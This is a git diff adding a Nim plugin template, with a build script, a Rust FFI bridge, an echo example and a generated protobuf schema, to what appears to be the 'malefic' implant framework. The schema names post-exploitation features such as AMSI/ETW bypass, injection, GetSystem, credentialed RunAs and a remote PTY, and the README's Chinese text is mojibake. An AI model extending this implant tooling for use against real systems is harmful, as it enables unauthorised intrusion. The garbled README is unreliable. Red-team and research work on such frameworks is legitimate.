+malefic-3rd-nim/ +├── Cargo.toml +├── build.rs # cc 编译 nanopb + nim c --app:staticlib +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 (å« NimMain åˆå§‹åŒ–) + └── nim/ + ├── nanopb/ # nanopb æºç  + ├── malefic/ # protobuf ç”Ÿæˆæ–‡ä»¶ (module.pb.c/h) + └── example/ + └── example.nim # ç¤ºä¾‹æ¨¡å— +``` + +## 构建æµç¨‹ + +`build.rs` 自动完æˆä»¥ä¸‹æ­¥éª¤ï¼š + +1. `cc` crate 编译 nanopb core + `module.pb.c` → 陿€åº“ +2. `nim c --app:staticlib --mm:arc --noMain:on` 编译 `.nim` → `.a` +3. é“¾æŽ¥ä¸¤ä¸ªé™æ€åº“ + +## ç¼–å†™æ¨¡å— + +```nim +{.passC: "-DPB_FIELD_32BIT".} + +# 导入 nanopb 类型 +type + malefic_Request {.importc, header: "module.pb.h".} = object + name: array[256, char] + input: array[256, char] + malefic_Response {.importc, header: "module.pb.h".} = object + output: array[4096, char] + error: array[256, char] + +# nanopb field descriptors(C 数组衰å‡ä¸ºæŒ‡é’ˆï¼‰ +var malefic_Request_fields_ptr {.importc: "malefic_Request_fields", + header: "module.pb.h".}: ptr byte +var malefic_Response_fields_ptr {.importc: "malefic_Response_fields", + header: "module.pb.h".}: ptr byte + +# nanopb 函数 +proc pb_istream_from_buffer(buf: ptr uint8, bufsize: csize_t): + pb_istream_t {.importc, header: "pb_decode.h".} +proc pb_decode(stream: ptr pb_istream_t, fields: ptr byte, + dest: pointer): bool {.importc, header: "pb_decode.h".} +# ... pb_encode 类似 + +const MODULE_NAME: cstring = "your_module" + +proc NimModuleName(): cstring {.exportc, cdecl.} = + return MODULE_NAME + +proc NimModuleHandle(task_id: uint32, req_data: cstring, req_len: cint, + resp_data: ptr cstring, resp_len: ptr cint): + cint {.exportc, cdecl.} = + # 1. memset é›¶åˆå§‹åŒ–(ä¸èƒ½ç”¨ _init_zero å®ï¼‰ + # 2. pb_decode è§£ç  Request + # 3. 构造 Response + # 4. pb_encode ç¼–ç  + # 5. malloc 输出 buffer(Rust ä¾§ free) + return 0 +``` + +### è¦ç‚¹ + +- 使用 `c_memset` é›¶åˆå§‹åŒ–结构体,ä¸èƒ½ä½¿ç”¨ nanopb çš„ `_init_zero` å®ï¼ˆC compound literal 在 Nim 生æˆçš„ C 代ç ä¸­ä¸å…¼å®¹ï¼‰ +- `malefic_Request_fields` 声明为 `ptr byte` 直接使用,ä¸éœ€è¦å–åœ°å€ +- 使用 `{.exportc, cdecl.}` 导出 C ABI ç¬¦å· +- 使用 `c_malloc` / `c_free`(映射到 C stdlib)分é…内存 +- Nim è¿è¡Œæ—¶éœ€è¦åˆå§‹åŒ–:Rust 侧通过 `std::sync::Once` 调用 `NimMain()` 一次 +- 编译使用 `--mm:arc`(ä¸è¦ç”¨å·²åºŸå¼ƒçš„ `--gc:arc`) + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,nim_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-nim/build.rs b/malefic-3rd-template/malefic-3rd-nim/build.rs new file mode 100644 index 0000000..9e46a57 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/build.rs @@ -0,0 +1,58 @@ +use std::env; +use std::path::PathBuf; +use std::process::Command; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let nim_src_dir = manifest_dir.join("src").join("nim"); + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + + let nanopb_dir = nim_src_dir.join("nanopb"); + let malefic_dir = nim_src_dir.join("malefic"); + + // 1. Compile nanopb core + module.pb.c via cc crate + cc::Build::new() + .file(nanopb_dir.join("pb_encode.c")) + .file(nanopb_dir.join("pb_decode.c")) + .file(nanopb_dir.join("pb_common.c")) + .file(malefic_dir.join("module.pb.c")) + .include(&nanopb_dir) + .include(&malefic_dir) + .define("PB_FIELD_32BIT", None) + .warnings(false) + .compile("malefic_nim_nanopb"); + + // 2. Compile Nim example module → static library + let nim_source = nim_src_dir.join("example").join("example.nim"); + let nim_out = out_dir.join("libmalefic_nim.a"); + + let nim_cache = out_dir.join("nimcache"); + std::fs::create_dir_all(&nim_cache).ok(); + + let status = Command::new("nim") + .args([ + "c", + "--app:staticlib", + "--mm:arc", + "--noMain:on", + ]) + .arg(format!("--nimcache:{}", nim_cache.display())) + .arg(format!("--passC:-I{}", nanopb_dir.display())) + .arg(format!("--passC:-I{}", malefic_dir.display())) + .arg("--passC:-DPB_FIELD_32BIT") + .arg(format!("--out:{}", nim_out.display())) + .arg(nim_source.to_str().unwrap()) + .status() + .expect("Failed to run nim compiler. Is nim installed?"); + + if !status.success() { + panic!("Nim compilation failed"); + } + + // 3. Link both libraries + println!("cargo:rustc-link-search=native={}", out_dir.display()); + println!("cargo:rustc-link-lib=static=malefic_nim_nanopb"); + println!("cargo:rustc-link-lib=static=malefic_nim"); + + println!("cargo:rerun-if-changed={}", nim_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-nim/src/lib.rs b/malefic-3rd-template/malefic-3rd-nim/src/lib.rs new file mode 100644 index 0000000..0c15feb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/lib.rs @@ -0,0 +1,34 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn NimMain(); + fn NimModuleName() -> *const c_char; + fn NimModuleHandle( + task_id: c_uint, + req_data: *const c_char, + req_len: c_int, + resp_data: *mut *mut c_char, + resp_len: *mut c_int, + ) -> c_int; +} + +static NIM_INIT: std::sync::Once = std::sync::Once::new(); + +pub struct NimModule { + name: String, +} + +impl RtModule for NimModule { + fn name() -> &'static str { "example_nim" } + + fn new() -> Self { + NIM_INIT.call_once(|| unsafe { NimMain() }); + let name = unsafe { ffi_module_name(NimModuleName, false) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, NimModuleHandle, "NimModuleHandle") + } +} diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim b/malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim new file mode 100644 index 0000000..2a3d742 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim @@ -0,0 +1,75 @@ +# Example Nim module: echoes the request input back with a prefix. +# Demonstrates nanopb decode/encode round-trip via C interop. + +{.passC: "-DPB_FIELD_32BIT".} + +# --- nanopb types and functions --- + +type + pb_byte_t = uint8 + pb_istream_t {.importc, header: "pb_decode.h".} = object + pb_ostream_t {.importc, header: "pb_encode.h".} = object + bytes_written: csize_t + +# nanopb generated types (opaque — actual layout handled by C) +type + malefic_Request {.importc, header: "module.pb.h".} = object + name: array[256, char] + input: array[256, char] + malefic_Response {.importc, header: "module.pb.h".} = object + output: array[4096, char] + error: array[256, char] + +# nanopb field descriptors — declared as ptr to first element (C arrays decay to pointers) +var malefic_Request_fields_ptr {.importc: "malefic_Request_fields", header: "module.pb.h".}: ptr byte +var malefic_Response_fields_ptr {.importc: "malefic_Response_fields", header: "module.pb.h".}: ptr byte + +# nanopb functions +proc pb_istream_from_buffer(buf: ptr pb_byte_t, bufsize: csize_t): pb_istream_t {.importc, header: "pb_decode.h".} +proc pb_decode(stream: ptr pb_istream_t, fields: ptr byte, dest_struct: pointer): bool {.importc, header: "pb_decode.h".} +proc pb_ostream_from_buffer(buf: ptr pb_byte_t, bufsize: csize_t): pb_ostream_t {.importc, header: "pb_encode.h".} +proc pb_encode(stream: ptr pb_ostream_t, fields: ptr byte, src_struct: pointer): bool {.importc, header: "pb_encode.h".} + +# C stdlib +proc c_malloc(size: csize_t): pointer {.importc: "malloc", header: "".} +proc c_free(p: pointer) {.importc: "free", header: "".} +proc c_memcpy(dest, src: pointer, n: csize_t): pointer {.importc: "memcpy", header: "".} +proc c_memset(s: pointer, c: cint, n: csize_t): pointer {.importc: "memset", header: "".} +proc c_snprintf(buf: cstring, size: csize_t, fmt: cstring): cint {.importc: "snprintf", header: "", varargs.} + +const MODULE_NAME: cstring = "example_nim" + +proc NimModuleName(): cstring {.exportc, cdecl.} = + return MODULE_NAME + +proc NimModuleHandle(task_id: uint32, req_data: cstring, req_len: cint, + resp_data: ptr cstring, resp_len: ptr cint): cint {.exportc, cdecl.} = + # Decode Request (zero-init via memset instead of _init_zero macro) + var request: malefic_Request + discard c_memset(addr request, 0, csize_t(sizeof(request))) + var istream = pb_istream_from_buffer(cast[ptr pb_byte_t](req_data), csize_t(req_len)) + if not pb_decode(addr istream, malefic_Request_fields_ptr, addr request): + return -1 + + # Build Response + var response: malefic_Response + discard c_memset(addr response, 0, csize_t(sizeof(response))) + let inputStr = cast[cstring](addr request.input[0]) + discard c_snprintf(cast[cstring](addr response.output[0]), csize_t(sizeof(response.output)), + "hello from nim module, input: %s", inputStr) + + # Encode Response + var tmp_buf: array[4096, uint8] + var ostream = pb_ostream_from_buffer(cast[ptr pb_byte_t](addr tmp_buf[0]), csize_t(sizeof(tmp_buf))) + if not pb_encode(addr ostream, malefic_Response_fields_ptr, addr response): + return -1 + + let encoded_len = ostream.bytes_written + let out_ptr = c_malloc(encoded_len) + if out_ptr == nil: + return -1 + discard c_memcpy(out_ptr, addr tmp_buf[0], encoded_len) + resp_data[] = cast[cstring](out_ptr) + resp_len[] = cint(encoded_len) + + return 0 diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options new file mode 100644 index 0000000..5334a93 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options @@ -0,0 +1,229 @@ +# nanopb options for module.proto (full) +# Controls max sizes for static allocation (no malloc needed) +# map<> fields use callbacks by default in nanopb — no options needed for them. + +# --- Core messages used by C module handler --- +malefic.Request.name max_size:256 +malefic.Request.input max_size:256 +malefic.Request.args max_size:256, max_count:32 +malefic.Request.bin max_size:4096 + +malefic.Response.output max_size:4096 +malefic.Response.error max_size:256 +malefic.Response.array max_size:256, max_count:32 + +# --- Registration / System --- +malefic.Register.name max_size:256 +malefic.Register.proxy max_size:256 +malefic.Register.module max_size:256, max_count:64 +malefic.Register.addons max_count:32 + +malefic.Secure.key max_size:256 +malefic.Secure.type max_size:64 +malefic.Secure.public_key max_size:256 + +malefic.KeyExchangeRequest.public_key max_size:256 +malefic.KeyExchangeRequest.signature max_size:256 +malefic.KeyExchangeRequest.nonce max_size:64 +malefic.KeyExchangeResponse.public_key max_size:256 + +malefic.Init.data max_size:4096 + +malefic.SysInfo.filepath max_size:256 +malefic.SysInfo.workdir max_size:256 + +malefic.Os.name max_size:128 +malefic.Os.version max_size:128 +malefic.Os.release max_size:128 +malefic.Os.arch max_size:32 +malefic.Os.username max_size:128 +malefic.Os.hostname max_size:128 +malefic.Os.locale max_size:64 +malefic.Os.clr_version max_size:64, max_count:8 + +malefic.Process.name max_size:128 +malefic.Process.owner max_size:128 +malefic.Process.arch max_size:32 +malefic.Process.path max_size:256 +malefic.Process.args max_size:256 +malefic.Process.uid max_size:64 + +malefic.Timer.expression max_size:128 + +# --- File --- +malefic.FileInfo.Name max_size:256 +malefic.FileInfo.Link max_size:256 + +malefic.LsResponse.Path max_size:256 +malefic.LsResponse.Files max_count:128 + +malefic.DriveInfo.path max_size:64 +malefic.DriveInfo.drive_type max_size:64 +malefic.DriveInfo.file_system max_size:32 +malefic.EnumDriversResponse.drives max_count:16 + +# --- Process --- +malefic.SacrificeProcess.argue max_size:256 +malefic.PsResponse.processes max_count:512 + +# --- Exec --- +malefic.ExecRequest.path max_size:256 +malefic.ExecRequest.args max_size:256, max_count:32 +malefic.ExecResponse.stdout max_size:4096 +malefic.ExecResponse.stderr max_size:4096 + +malefic.BinaryResponse.data max_size:4096 +malefic.BinaryResponse.message max_size:4096 +malefic.BinaryResponse.err max_size:256 + +# --- Modules / Addons --- +malefic.Modules.modules max_size:256, max_count:64 +malefic.Addons.addons max_count:32 +malefic.Addon.name max_size:128 +malefic.Addon.type max_size:64 +malefic.Addon.depend max_size:128 + +malefic.LoadModule.bundle max_size:256 +malefic.LoadModule.bin max_size:4096 +malefic.LoadAddon.name max_size:128 +malefic.LoadAddon.type max_size:64 +malefic.LoadAddon.depend max_size:128 +malefic.LoadAddon.bin max_size:4096 + +malefic.ExecuteAddon.addon max_size:128 + +malefic.ExecuteBinary.name max_size:128 +malefic.ExecuteBinary.bin max_size:4096 +malefic.ExecuteBinary.type max_size:64 +malefic.ExecuteBinary.process_name max_size:128 +malefic.ExecuteBinary.args max_size:256, max_count:32 +malefic.ExecuteBinary.entry_point max_size:128 +malefic.ExecuteBinary.data max_size:4096 +malefic.ExecuteBinary.path max_size:256 +malefic.ExecuteBinary.context max_size:256 + +malefic.ExecuteCommand.command max_size:256 + +# --- Upload / Download --- +malefic.UploadRequest.name max_size:256 +malefic.UploadRequest.target max_size:256 +malefic.UploadRequest.data max_size:4096 + +malefic.DownloadRequest.path max_size:256 +malefic.DownloadRequest.name max_size:256 +malefic.DownloadResponse.checksum max_size:128 +malefic.DownloadResponse.content max_size:4096 + +# --- Network --- +malefic.NetInterface.name max_size:128 +malefic.NetInterface.mac max_size:32 +malefic.NetInterface.ip_addresses max_size:64, max_count:16 +malefic.IfconfigResponse.net_interfaces max_count:32 + +malefic.SockTabEntry.local_addr max_size:64 +malefic.SockTabEntry.remote_addr max_size:64 +malefic.SockTabEntry.skState max_size:32 +malefic.SockTabEntry.pid max_size:16 +malefic.SockTabEntry.protocol max_size:16 +malefic.NetstatResponse.socks max_count:256 + +malefic.CurlRequest.url max_size:512 +malefic.CurlRequest.method max_size:16 +malefic.CurlRequest.body max_size:4096 +malefic.CurlRequest.hostname max_size:256 + +malefic.ChownRequest.path max_size:256 +malefic.ChownRequest.uid max_size:64 +malefic.ChownRequest.gid max_size:64 + +# --- Block / ACK --- +malefic.Block.content max_size:4096 + +# --- Registry --- +malefic.RegistryRequest.type max_size:64 +malefic.Registry.hive max_size:64 +malefic.Registry.path max_size:256 +malefic.Registry.key max_size:256 +malefic.RegistryWriteRequest.hive max_size:64 +malefic.RegistryWriteRequest.path max_size:256 +malefic.RegistryWriteRequest.key max_size:256 +malefic.RegistryWriteRequest.string_value max_size:256 +malefic.RegistryWriteRequest.byte_value max_size:4096 + +# --- Task Schedule --- +malefic.TaskScheduleRequest.type max_size:64 +malefic.TaskSchedule.name max_size:256 +malefic.TaskSchedule.path max_size:256 +malefic.TaskSchedule.executable_path max_size:256 +malefic.TaskSchedule.start_boundary max_size:64 +malefic.TaskSchedule.description max_size:256 +malefic.TaskSchedule.last_run_time max_size:64 +malefic.TaskSchedule.next_run_time max_size:64 +malefic.TaskSchedulesResponse.schedules max_count:64 + +# --- Service --- +malefic.ServiceRequest.type max_size:64 +malefic.ServiceConfig.name max_size:256 +malefic.ServiceConfig.display_name max_size:256 +malefic.ServiceConfig.executable_path max_size:256 +malefic.ServiceConfig.account_name max_size:128 +malefic.ServicesResponse.services max_count:128 + +# --- WMI --- +malefic.WmiQueryRequest.namespace max_size:256 +malefic.WmiQueryRequest.args max_size:256, max_count:16 +malefic.WmiMethodRequest.namespace max_size:256 +malefic.WmiMethodRequest.class_name max_size:128 +malefic.WmiMethodRequest.method_name max_size:128 + +# --- RunAs --- +malefic.RunAsRequest.username max_size:128 +malefic.RunAsRequest.domain max_size:128 +malefic.RunAsRequest.password max_size:256 +malefic.RunAsRequest.program max_size:256 +malefic.RunAsRequest.args max_size:256 + +# --- Inject / GetSystem --- +malefic.GetSystem.bin max_size:4096 +malefic.Inject.bin max_size:4096 + +# --- Pipe --- +malefic.Pipe.name max_size:128 +malefic.Pipe.target max_size:128 +malefic.Pipe.data max_size:4096 +malefic.PipeRequest.type max_size:64 + +# --- Switch --- +malefic.Switch.urls max_size:256, max_count:16 + +# --- Task --- +malefic.TaskCtrl.op max_size:64 +malefic.TaskListResponse.tasks max_count:128 + +# --- FFmpeg --- +malefic.FFmpegRequest.action max_size:64 +malefic.FFmpegRequest.device_name max_size:128 +malefic.FFmpegRequest.output_format max_size:32 +malefic.FFmpegRequest.output_path max_size:256 +malefic.FFmpegRequest.time max_size:32 + +# --- PTY --- +malefic.PtyRequest.type max_size:32 +malefic.PtyRequest.session_id max_size:64 +malefic.PtyRequest.shell max_size:128 +malefic.PtyRequest.input_data max_size:4096 +malefic.PtyRequest.input_text max_size:4096 + +malefic.PtyResponse.session_id max_size:64 +malefic.PtyResponse.output_data max_size:4096 +malefic.PtyResponse.output_text max_size:4096 +malefic.PtyResponse.error max_size:256 +malefic.PtyResponse.active_sessions max_size:64, max_count:32 + +# --- CommonBody --- +malefic.CommonBody.name max_size:256 +malefic.CommonBody.u32_array max_count:32 +malefic.CommonBody.u64_array max_count:32 +malefic.CommonBody.bool_array max_count:32 +malefic.CommonBody.string_array max_size:256, max_count:32 +malefic.CommonBody.bytes_array max_size:4096, max_count:16 diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c new file mode 100644 index 0000000..f471045 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c @@ -0,0 +1,249 @@ +/* Automatically generated nanopb constant definitions */ +/* Generated by nanopb-0.4.9.1 */ + +#include "module.pb.h" +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + + +/* The following messages exceed 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody */ + +/* The PB_FIELD_32BIT compilation option must be defined to support messages that exceed 64 kB in size. */ +#ifndef PB_FIELD_32BIT +#error Enable PB_FIELD_32BIT to support messages exceeding 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody +#endif +PB_BIND(malefic_Ping, malefic_Ping, AUTO) + + +PB_BIND(malefic_Register, malefic_Register, 4) + + +PB_BIND(malefic_Secure, malefic_Secure, 2) + + +PB_BIND(malefic_KeyExchangeRequest, malefic_KeyExchangeRequest, 2) + + +PB_BIND(malefic_KeyExchangeResponse, malefic_KeyExchangeResponse, 2) + + +PB_BIND(malefic_Init, malefic_Init, 4) + + +PB_BIND(malefic_SysInfo, malefic_SysInfo, 2) + + +PB_BIND(malefic_Suicide, malefic_Suicide, AUTO) + + +PB_BIND(malefic_Request, malefic_Request, 4) + + +PB_BIND(malefic_Request_ParamsEntry, malefic_Request_ParamsEntry, AUTO) + + +PB_BIND(malefic_Response, malefic_Response, 4) + + +PB_BIND(malefic_Response_KvEntry, malefic_Response_KvEntry, AUTO) + + +PB_BIND(malefic_BypassRequest, malefic_BypassRequest, AUTO) + + +PB_BIND(malefic_NetInterface, malefic_NetInterface, 2) + + +PB_BIND(malefic_SockTabEntry, malefic_SockTabEntry, AUTO) + + +PB_BIND(malefic_NetstatResponse, malefic_NetstatResponse, 4) + + +PB_BIND(malefic_Block, malefic_Block, 4) + + +PB_BIND(malefic_ACK, malefic_ACK, AUTO) + + +PB_BIND(malefic_Os, malefic_Os, 2) + + +PB_BIND(malefic_Process, malefic_Process, 2) + + +PB_BIND(malefic_Timer, malefic_Timer, AUTO) + + +PB_BIND(malefic_FileInfo, malefic_FileInfo, 2) + + +PB_BIND(malefic_SacrificeProcess, malefic_SacrificeProcess, 2) + + +PB_BIND(malefic_LsResponse, malefic_LsResponse, 4) + + +PB_BIND(malefic_DriveInfo, malefic_DriveInfo, AUTO) + + +PB_BIND(malefic_EnumDriversResponse, malefic_EnumDriversResponse, 2) + + +PB_BIND(malefic_PsResponse, malefic_PsResponse, 4) + + +PB_BIND(malefic_ExecRequest, malefic_ExecRequest, 4) + + +PB_BIND(malefic_ExecResponse, malefic_ExecResponse, 4) + + +PB_BIND(malefic_BinaryResponse, malefic_BinaryResponse, 4) + + +PB_BIND(malefic_Modules, malefic_Modules, 4) + + +PB_BIND(malefic_Addons, malefic_Addons, 4) + + +PB_BIND(malefic_Addon, malefic_Addon, 2) + + +PB_BIND(malefic_LoadModule, malefic_LoadModule, 4) + + +PB_BIND(malefic_LoadAddon, malefic_LoadAddon, 4) + + +PB_BIND(malefic_ExecuteAddon, malefic_ExecuteAddon, 4) + + +PB_BIND(malefic_ExecuteBinary, malefic_ExecuteBinary, 4) + + +PB_BIND(malefic_ExecuteBinary_ParamEntry, malefic_ExecuteBinary_ParamEntry, AUTO) + + +PB_BIND(malefic_ExecuteCommand, malefic_ExecuteCommand, 2) + + +PB_BIND(malefic_UploadRequest, malefic_UploadRequest, 4) + + +PB_BIND(malefic_DownloadRequest, malefic_DownloadRequest, 2) + + +PB_BIND(malefic_DownloadResponse, malefic_DownloadResponse, 4) + + +PB_BIND(malefic_CurlRequest, malefic_CurlRequest, 4) + + +PB_BIND(malefic_CurlRequest_HeaderEntry, malefic_CurlRequest_HeaderEntry, AUTO) + + +PB_BIND(malefic_ChownRequest, malefic_ChownRequest, 2) + + +PB_BIND(malefic_IfconfigResponse, malefic_IfconfigResponse, 4) + + +PB_BIND(malefic_RegistryRequest, malefic_RegistryRequest, 2) + + +PB_BIND(malefic_Registry, malefic_Registry, 2) + + +PB_BIND(malefic_RegistryWriteRequest, malefic_RegistryWriteRequest, 4) + + +PB_BIND(malefic_TaskScheduleRequest, malefic_TaskScheduleRequest, 2) + + +PB_BIND(malefic_TaskSchedule, malefic_TaskSchedule, 2) + + +PB_BIND(malefic_TaskSchedulesResponse, malefic_TaskSchedulesResponse, 4) + + +PB_BIND(malefic_ServiceRequest, malefic_ServiceRequest, 2) + + +PB_BIND(malefic_ServiceConfig, malefic_ServiceConfig, 2) + + +PB_BIND(malefic_ServiceStatus, malefic_ServiceStatus, AUTO) + + +PB_BIND(malefic_Service, malefic_Service, 2) + + +PB_BIND(malefic_ServicesResponse, malefic_ServicesResponse, 4) + + +PB_BIND(malefic_WmiQueryRequest, malefic_WmiQueryRequest, 4) + + +PB_BIND(malefic_WmiMethodRequest, malefic_WmiMethodRequest, 2) + + +PB_BIND(malefic_WmiMethodRequest_ParamsEntry, malefic_WmiMethodRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_RunAsRequest, malefic_RunAsRequest, 2) + + +PB_BIND(malefic_GetSystem, malefic_GetSystem, 4) + + +PB_BIND(malefic_Inject, malefic_Inject, 4) + + +PB_BIND(malefic_Pipe, malefic_Pipe, 4) + + +PB_BIND(malefic_PipeRequest, malefic_PipeRequest, 4) + + +PB_BIND(malefic_Switch, malefic_Switch, 4) + + +PB_BIND(malefic_TaskCtrl, malefic_TaskCtrl, AUTO) + + +PB_BIND(malefic_TaskInfo, malefic_TaskInfo, AUTO) + + +PB_BIND(malefic_TaskListResponse, malefic_TaskListResponse, 2) + + +PB_BIND(malefic_FFmpegRequest, malefic_FFmpegRequest, 2) + + +PB_BIND(malefic_PtyRequest, malefic_PtyRequest, 4) + + +PB_BIND(malefic_PtyRequest_ParamsEntry, malefic_PtyRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_PtyResponse, malefic_PtyResponse, 4) + + +PB_BIND(malefic_PtyResponse_MetadataEntry, malefic_PtyResponse_MetadataEntry, AUTO) + + +PB_BIND(malefic_CommonBody, malefic_CommonBody, 4) + + + +#ifndef PB_CONVERT_DOUBLE_FLOAT +/* On some platforms (such as AVR), double is really float. + * To be able to encode/decode double on these platforms, you need. + * to define PB_CONVERT_DOUBLE_FLOAT in pb.h or compiler command line. + */ +PB_STATIC_ASSERT(sizeof(double) == 8, DOUBLE_MUST_BE_8_BYTES) +#endif + diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h new file mode 100644 index 0000000..ca75d0d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h @@ -0,0 +1,1857 @@ +/* Automatically generated nanopb header */ +/* Generated by nanopb-0.4.9.1 */ + +#ifndef PB_MALEFIC_MODULE_PB_H_INCLUDED +#define PB_MALEFIC_MODULE_PB_H_INCLUDED +#include + +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + +/* Struct definitions */ +typedef struct _malefic_Ping { + int32_t nonce; +} malefic_Ping; + +typedef struct _malefic_Secure { + bool enable; + char key[256]; /* encryption key */ + char type[64]; /* encryption type */ + char public_key[256]; /* Implant's public key, used by server to encrypt data */ +} malefic_Secure; + +typedef PB_BYTES_ARRAY_T(256) malefic_KeyExchangeRequest_signature_t; +/* Age key exchange related messages */ +typedef struct _malefic_KeyExchangeRequest { + char public_key[256]; /* Temporary public key (Age X25519) */ + malefic_KeyExchangeRequest_signature_t signature; /* Signature of temporary public key */ + uint64_t timestamp; /* Timestamp */ + char nonce[64]; /* Nonce */ +} malefic_KeyExchangeRequest; + +typedef struct _malefic_KeyExchangeResponse { + char public_key[256]; /* Server temporary public key */ +} malefic_KeyExchangeResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Init_data_t; +typedef struct _malefic_Init { + malefic_Init_data_t data; +} malefic_Init; + +typedef struct _malefic_Suicide { + int32_t type; + int64_t timestamp; +} malefic_Suicide; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Request_bin_t; +/* common empty request */ +typedef struct _malefic_Request { + char name[256]; + char input[256]; + pb_size_t args_count; + char args[32][256]; + pb_callback_t params; + malefic_Request_bin_t bin; +} malefic_Request; + +typedef struct _malefic_Request_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Request_ParamsEntry; + +typedef struct _malefic_Response { + char output[4096]; + char error[256]; + pb_callback_t kv; + pb_size_t array_count; + char array[32][256]; +} malefic_Response; + +typedef struct _malefic_Response_KvEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Response_KvEntry; + +typedef struct _malefic_BypassRequest { + bool ETW; + bool AMSI; + bool block_dll; +} malefic_BypassRequest; + +typedef struct _malefic_NetInterface { + int32_t index; + char name[128]; + char mac[32]; + pb_size_t ip_addresses_count; + char ip_addresses[16][64]; +} malefic_NetInterface; + +typedef struct _malefic_SockTabEntry { + char local_addr[64]; + char remote_addr[64]; + char skState[32]; + /* uint32 uid = 4; */ + char pid[16]; + char protocol[16]; +} malefic_SockTabEntry; + +typedef struct _malefic_NetstatResponse { + pb_size_t socks_count; + malefic_SockTabEntry socks[256]; +} malefic_NetstatResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Block_content_t; +typedef struct _malefic_Block { + uint32_t block_id; + malefic_Block_content_t content; + bool end; +} malefic_Block; + +typedef struct _malefic_ACK { + uint32_t id; + bool success; + bool end; +} malefic_ACK; + +typedef struct _malefic_Os { + char name[128]; + char version[128]; /* kernel version */ + char release[128]; /* release version */ + char arch[32]; + char username[128]; + char hostname[128]; + char locale[64]; /* timezone */ + pb_size_t clr_version_count; + char clr_version[8][64]; +} malefic_Os; + +typedef struct _malefic_Process { + char name[128]; + uint32_t pid; + uint32_t ppid; + char owner[128]; + char arch[32]; + char path[256]; + char args[256]; + char uid[64]; +} malefic_Process; + +typedef struct _malefic_SysInfo { + char filepath[256]; + char workdir[256]; + bool is_privilege; + bool has_os; + malefic_Os os; + bool has_process; + malefic_Process process; +} malefic_SysInfo; + +typedef struct _malefic_Timer { + char expression[128]; + double jitter; +} malefic_Timer; + +typedef struct _malefic_FileInfo { + char Name[256]; + bool IsDir; + uint64_t Size; + int64_t ModTime; + uint32_t Mode; + char Link[256]; +} malefic_FileInfo; + +typedef struct _malefic_SacrificeProcess { + bool hidden; + bool block_dll; + bool etw; + uint32_t ppid; + char argue[256]; +} malefic_SacrificeProcess; + +typedef struct _malefic_LsResponse { + char Path[256]; + bool Exists; + pb_size_t Files_count; + malefic_FileInfo Files[128]; +} malefic_LsResponse; + +typedef struct _malefic_DriveInfo { + char path[64]; /* "C:\\" */ + char drive_type[64]; /* "Fixed drive" */ + uint64_t total_size; /* */ + uint64_t free_size; /* */ + char file_system[32]; /* "NTFS" */ +} malefic_DriveInfo; + +typedef struct _malefic_EnumDriversResponse { + pb_size_t drives_count; + malefic_DriveInfo drives[16]; +} malefic_EnumDriversResponse; + +typedef struct _malefic_PsResponse { + pb_size_t processes_count; + malefic_Process processes[512]; +} malefic_PsResponse; + +typedef struct _malefic_ExecRequest { + char path[256]; + pb_size_t args_count; + char args[32][256]; + bool output; + bool singleton; + bool realtime; + uint32_t ppid; +} malefic_ExecRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stdout_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stderr_t; +typedef struct _malefic_ExecResponse { + int32_t status_code; + malefic_ExecResponse_stdout_t stdout; + malefic_ExecResponse_stderr_t stderr; + uint32_t pid; + bool end; +} malefic_ExecResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_data_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_message_t; +typedef struct _malefic_BinaryResponse { + malefic_BinaryResponse_data_t data; /* common return, bof BeaconOutput */ + malefic_BinaryResponse_message_t message; /* bof BeaconPrintf */ + int32_t status; + char err[256]; +} malefic_BinaryResponse; + +typedef struct _malefic_Modules { + pb_size_t modules_count; + char modules[64][256]; +} malefic_Modules; + +typedef struct _malefic_Addon { + char name[128]; + char type[64]; + char depend[128]; +} malefic_Addon; + +typedef struct _malefic_Register { + char name[256]; + char proxy[256]; + pb_size_t module_count; + char module[64][256]; + pb_size_t addons_count; + malefic_Addon addons[32]; + bool has_timer; + 